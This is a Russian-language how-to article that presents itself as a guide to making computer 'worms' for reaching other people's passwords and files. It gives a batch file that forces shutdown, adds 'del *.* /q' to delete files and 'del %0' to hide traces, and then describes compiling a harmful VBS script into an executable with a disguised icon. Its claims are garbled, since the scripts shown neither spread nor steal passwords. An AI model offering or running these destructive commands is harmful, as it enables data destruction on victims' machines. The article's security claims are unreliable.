Черви – особые разновидности вирусов, которые помогают приоткрыть дверцу в чужой компьютер и получить интересующие сведения. С помощью верно организованного тела червя и правильной его отправки по назначенному пути, открывается доступ к паролям в социальных сетях, электронной почте. Черви обеспечат и необходимыми документами, и способны сломать компьютер, стоит только разобраться и правильно создать червя.


1. Сетевые черви становятся всемогущими, если над ними работали проверенными способами.

2. Чтобы выполнить первый, надо создать текстовый документ и произвести замену его расширению на bat.

3. Изменив, нужно написать своё кодовое слово.

4. В документе записывается команда: shutdown -s -t 1 -c «lol» -f >nul.

5. При запуске документа компьютер выключится, затем произойдёт его перезагрузка. Если к данной формуле дописать del *.* /q , где звёздочки – это файлы, предназначенные для ликвидации, то после запуска компьютера исчезнут файлы, расположенные там же, куда запустили червь.

6. Образовавшийся вирусный червь способен на самоуничтожение. Думая, как создать червя, и остаться при этом незамеченным, стоит в конце новоиспечённого червя записать del %0.

1. Другой метод верно создать червя заключается в записи программки, способной нанести вред компьютеру, с помощью visual basic script. Затем сохранить в формате загрузочного файла.

2. Первоначально создают текстовый документ и заполняют его содержание специальной информацией. Чтобы она не пропала, необходимо её сохранить, потом же надо поменять расширение: взамен «txt» зафиксировать «vbs».

3. Новое расширение образовано от visual basic script. Полученный документ требуется скомпелировать, применив программу Vbs2Exe, в формат загрузочного файла.

4. Используя IconToy, устанавливают значок для получившегося неблагоприятного документа, способной переменять местами кнопочки компьютерной мыши.

5. Убедившись, что создать червя легко, необходимо дать ему стартовый запуск, чтобы он начал действовать.

Читайте также: